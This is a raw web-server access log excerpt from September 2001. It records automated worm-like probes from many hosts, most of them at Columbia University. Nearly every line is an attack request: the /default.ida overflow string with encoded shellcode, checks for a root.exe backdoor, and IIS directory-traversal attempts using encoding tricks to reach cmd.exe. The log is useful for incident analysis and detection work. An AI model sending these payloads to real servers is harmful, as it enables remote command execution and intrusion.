  8145. 20010919 03:44:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8146. 20010919 03:44:36: lds-tf.byu.edu [128.187.57.240] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8147. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8148. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8149. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8150. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8151. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8152. 20010919 03:45:52: lds-tf.byu.edu [128.187.57.240] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8153. 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8154. 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8155. 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8156. 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8157. 20010919 03:45:53: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8158. 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8159. 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8160. 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8161. 20010919 03:45:54: lds-tf.byu.edu [128.187.57.240] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8162. 20010919 03:45:54: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8163. 20010919 03:47:04: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8164. 20010919 03:47:04: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8165. 20010919 03:48:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8166. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8167. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8168. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8169. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8170. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8171. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8172. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8173. 20010919 03:49:12: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8174. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8175. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8176. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8177. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8178. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8179. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8180. 20010919 03:49:13: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8181. 20010919 03:49:13: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8182. 20010919 03:49:49: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8183. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8184. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8185. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8186. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8187. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8188. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8189. 20010919 03:50:04: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8190. 20010919 03:50:07: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8191. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8192. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8193. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8194. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8195. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8196. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8197. 20010919 03:50:08: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8198. 20010919 03:50:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8199. 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8200. 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8201. 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8202. 20010919 03:52:35: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8203. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8204. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8205. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8206. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8207. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8208. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8209. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8210. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8211. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8212. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8213. 20010919 03:52:36: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8214. 20010919 03:52:36: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8215. 20010919 03:54:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8216. 20010919 03:54:14: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8217. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8218. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8219. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8220. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8221. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8222. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8223. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8224. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8225. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8226. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8227. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8228. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8229. 20010919 03:54:15: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8230. 20010919 03:54:16: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8231. 20010919 03:56:08:  [128.134.25.174] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8232. 20010919 03:57:59:  [128.134.25.174] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8233. 20010919 03:58:21:  [128.134.25.174] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8234. 20010919 03:58:43:  [128.134.25.174] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8235. 20010919 03:59:21:  [128.134.25.174] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8236. 20010919 03:59:40:  [128.134.25.174] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8237. 20010919 04:00:02:  [128.134.25.174] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8238. 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8239. 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8240. 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8241. 20010919 04:00:30: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8242. 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8243. 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8244. 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8245. 20010919 04:00:31: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8246. 20010919 04:00:31:  [128.134.25.174] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8247. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8248. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8249. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8250. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8251. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8252. 20010919 04:00:49: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8253. 20010919 04:00:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8254. 20010919 04:00:50: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8255. 20010919 04:00:50:  [128.134.25.174] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8256. 20010919 04:01:08:  [128.134.25.174] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8257. 20010919 04:01:27:  [128.134.25.174] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8258. 20010919 04:01:45:  [128.134.25.174] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8259. 20010919 04:02:04:  [128.134.25.174] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8260. 20010919 04:02:23:  [128.134.25.174] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8261. 20010919 04:02:42:  [128.134.25.174] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8262. 20010919 04:03:00:  [128.134.25.174] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8263. 20010919 04:03:19: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8264. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8265. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8266. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8267. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8268. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8269. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8270. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8271. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8272. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8273. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8274. 20010919 04:07:38: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8275. 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8276. 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8277. 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8278. 20010919 04:07:39: dhcp12.cs.columbia.edu [128.59.19.212] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8279. 20010919 04:07:39: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8280. 20010919 04:08:03: ns.kcci.or.kr [210.124.8.13] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8281. 20010919 04:11:05: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8282. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8283. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8284. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8285. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8286. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8287. 20010919 04:13:08: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8288. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8289. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8290. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8291. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8292. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8293. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8294. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8295. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8296. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8297. 20010919 04:13:09: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8298. 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8299. 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8300. 20010919 04:22:32: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8301. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8302. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8303. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8304. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8305. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8306. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8307. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8308. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8309. 20010919 04:22:33: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
